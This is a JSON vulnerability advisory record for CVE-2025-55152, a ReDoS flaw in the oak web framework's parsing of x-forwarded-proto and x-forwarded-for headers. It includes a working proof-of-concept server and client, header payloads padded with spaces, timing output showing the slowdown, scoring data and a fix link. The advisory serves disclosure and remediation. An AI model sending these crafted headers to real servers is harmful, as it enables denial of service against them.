{"id":"CVE-2025-55152","aliases":["GHSA-r3v7-pc4g-7xp9"],"url":"https://o3.security/vulnerability/CVE-2025-55152","summary":"oak: ReDoS in x-forwarded-proto and x-forwarded-for headers","details":"### Summary\n\nWith specially crafted value of the `x-forwarded-proto` or `x-forwarded-for` headers, it's possible to significantly slow down an oak server.\n\n### Vulnerable Code\n\n- https://github.com/oakserver/oak/blob/v17.1.5/request.ts#L87\n- https://github.com/oakserver/oak/blob/v17.1.5/request.ts#L142\n\n### PoC\n\n- setup\n```\ndeno --version\ndeno 2.4.3\nv8 13.7.152.14-rusty\ntypescript 5.8.3\n```\n\n- `server.ts`\n```ts\nimport { Application } from \"https://deno.land/x/oak/mod.ts\";\n\nconst app = new Application({proxy: true});\n\nlet i = 1\n\napp.use((ctx) => {\n\n    // let url = ctx.request.url   // test1) x-forwarded-proto\n    let ips = ctx.request.ips   // test2) x-forwarded-for\n    console.log(`request ${i} received`)\n    i++;\n    ctx.response.body = \"hello\";\n});\n\nawait app.listen({ port: 8080 });\n```\n\n- `client.ts`\n```ts\nconst lengths = [2000, 4000, 8000, 16000, 32000, 64000, 128000]\n\nconst data1 = lengths.map(l => 'A' + 'A'.repeat(l) + 'A');\nconst data2 = lengths.map(l => 'A' + ' '.repeat(l) + 'A');\n\nasync function run(data) {\n    for (let i = 0; i < data.length; i++) {\n        let d = data[i];\n        \n        const start = performance.now();\n\n        await fetch(\"http://localhost:8080\", {\n            headers: {\n                // \"x-forwarded-proto\": d,  // test1)\n                \"x-forwarded-for\": d,    // test2)\n            },\n        });\n\n        const end = performance.now();\n        console.log('length=%d, time=%d ms', d.length, end - start);\n    }\n}\n\nconsole.log(\"\\n[+] Test normal behavior\")\nawait run(data1)\nconsole.log(\"\\n[+] Test payloads\")\nawait run(data2)\n```\n\n- run\n```\ndeno run --allow-net server.ts\ndeno run --allow-net client.ts\n\n[+] Test normal behavior\nlength=2002, time=14 ms\nlength=4002, time=6 ms\nlength=8002, time=3 ms\nlength=16002, time=3 ms\nlength=32002, time=2 ms\nlength=64002, time=4 ms\nlength=128002, time=3 ms\n\n[+] Test payloads\nlength=2002, time=7 ms\nlength=4002, time=22 ms\nlength=8002, time=77 ms\nlength=16002, time=241 ms\nlength=32002, time=947 ms\nlength=64002, time=4020 ms\nlength=128002, time=15840 ms\n```\n\n\n### Impact\n\nA specially crafted value of the `x-forwarded-proto` or `x-forwarded-for` headers  can be used to significantly slow down an oak server.\n\n### Similar Issues\n\n- https://github.com/denoland/deno/security/advisories/GHSA-jc97-h3h9-7xh6\n\t- https://github.com/denoland/deno/pull/17722\n- https://github.com/websockets/ws/security/advisories/GHSA-6fc8-4gx4-v693\n\t- https://github.com/websockets/ws/commit/00c425ec77993773d823f018f64a5c44e17023ff","published":"2025-08-09T01:29:54.545Z","modified":"2026-08-12T03:51:44.511660613Z","cvss":{"score":5.3,"severity":"MEDIUM","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"},"epss":{"score":0.00388,"percentile":0.31559,"asOf":"2026-08-24"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"npm","name":"@oakserver/oak","fixedVersion":null}],"fix":{"url":"https://github.com/oakserver/oak/commit/b60e60330ef227707c4dc13ef0ea36192d894f44","label":"oakserver/oak@b60e603"},"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2025/55xxx/CVE-2025-55152.json"},{"type":"ADVISORY","url":"https://github.com/oakserver/oak/security/advisories/GHSA-r3v7-pc4g-7xp9"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-55152"},{"type":"FIX","url":"https://github.com/oakserver/oak/commit/b60e60330ef227707c4dc13ef0ea36192d894f44"},{"type":"PACKAGE","url":"https://github.com/oakserver/oak"},{"type":"WEB","url":"https://github.com/oakserver/oak/blob/v17.1.5/request.ts#L142"},{"type":"WEB","url":"https://github.com/oakserver/oak/blob/v17.1.5/request.ts#L87"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:44.511660613Z"}}